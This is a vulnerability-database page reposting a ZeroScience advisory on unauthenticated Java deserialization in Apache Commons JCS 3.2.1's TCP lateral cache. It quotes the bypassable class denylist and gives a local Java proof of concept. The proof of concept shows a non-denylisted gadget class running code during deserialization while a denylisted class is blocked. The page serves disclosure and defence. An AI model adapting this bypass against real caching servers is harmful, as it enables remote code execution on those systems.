Lucene search
+L

Apache Commons JCS 3.2.1 Unauthenticated Java Deserialization

🗓️ 06 Oct 2026 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 10 Views

Unauthenticated RCE in Apache Commons JCS via TCP Lateral Cache deserialization.

Code
<html><body><p>/*


Apache Commons JCS 3.2.1 Unauthenticated Java Deserialization


Vendor: The Apache Software Foundation
Product web page: https://commons.apache.org/proper/commons-jcs
Affected version: 3.2.1

Summary: JCS is a distributed caching system written in Java.
It is intended to speed up applications by providing a means
to manage cached data of various dynamic natures. Like any caching
system, JCS is most useful for high read, low put applications.
Latency times drop sharply and bottlenecks move away from the
database in an effectively cached system.

Desc: Apache Commons JCS suffers from an unauthenticated Java
deserialization vulnerability on its TCP Lateral Cache. The
lateral listener deserializes incoming objects through an
ObjectInputStream guarded only by a three-prefix class denylist,
which is bypassable with widely available gadgets, so a remote
attacker who can reach the lateral port can send a crafted object
and execute code. On deployments that enable the TCP lateral cache
this is unauthenticated remote code execution.

=============================================================
protected Class&gt; resolveClass(ObjectStreamClass desc) throws ClassNotFoundException {
    return Class.forName(BlacklistClassResolver.DEFAULT.check(desc.getName()), false, classLoader);
}
private static class BlacklistClassResolver {
    private static final BlacklistClassResolver DEFAULT = new BlacklistClassResolver(
        toArray(System.getProperty("jcs.serialization.class.blacklist",
            "org.codehaus.groovy.runtime.,org.apache.commons.collections.functors.,org.apache.xalan")),
        toArray(System.getProperty("jcs.serialization.class.whitelist")));
    boolean isBlacklisted(String name) {
        return whitelist != null &amp;&amp; !contains(whitelist, name) || contains(blacklist, name);
    }
}
=============================================================

Tested on: Microsoft Windows 10 (x86_64)
           Eclipse Temurin OpenJDK 21.0.6 (LTS)



Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2026-6008
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6008


13.08.2026

*/


import org.apache.commons.jcs3.utils.serialization.StandardSerializer;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class JcsDeserPoc {

    static byte[] serialize(final Serializable o) throws Exception {
        final ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(bos)) { oos.writeObject(o); }
        return bos.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        final StandardSerializer ser = new StandardSerializer();
        final ClassLoader cl = JcsDeserPoc.class.getClassLoader();
        System.out.println("JCS runtime: "
                + StandardSerializer.class.getProtectionDomain().getCodeSource().getLocation());

        System.out.println("\n[A] Deserialize a class not on the denylist (evilgadget.JcsPwn):");
        final byte[] evil = serialize(new evilgadget.JcsPwn());
        try {
            Object out = ser.deSerialize(evil, cl);
            System.out.println("Returned: " + out.getClass().getName());
        } catch (Exception e) {
            System.out.println("(Post-readObject) " + e.getClass().getSimpleName() + ": " + e.getMessage());
        }
        System.out.println("JcsPwn.EXECUTED = " + evilgadget.JcsPwn.EXECUTED
                + (evilgadget.JcsPwn.EXECUTED
                    ? "  &gt;&gt;&gt; DENYLIST BYPASSED: code ran during deserialization." : ""));

        System.out.println("\n[B] Control: deSerialize a class on the denylist "
                + "(org.apache.commons.collections.functors.BlacklistedFunctor):");
        final byte[] blocked = serialize(new org.apache.commons.collections.functors.BlacklistedFunctor());
        try {
            ser.deSerialize(blocked, cl);
            System.out.println("ACCEPTED (unexpected!)");
        } catch (Exception e) {
            Throwable c = e; while (c.getCause() != null) c = c.getCause();
            System.out.println("BLOCKED as expected: " + c.getClass().getSimpleName() + ": " + c.getMessage());
        }

        System.out.println("\nThanks for stopping by!");
    }
}
</p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Oct 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
10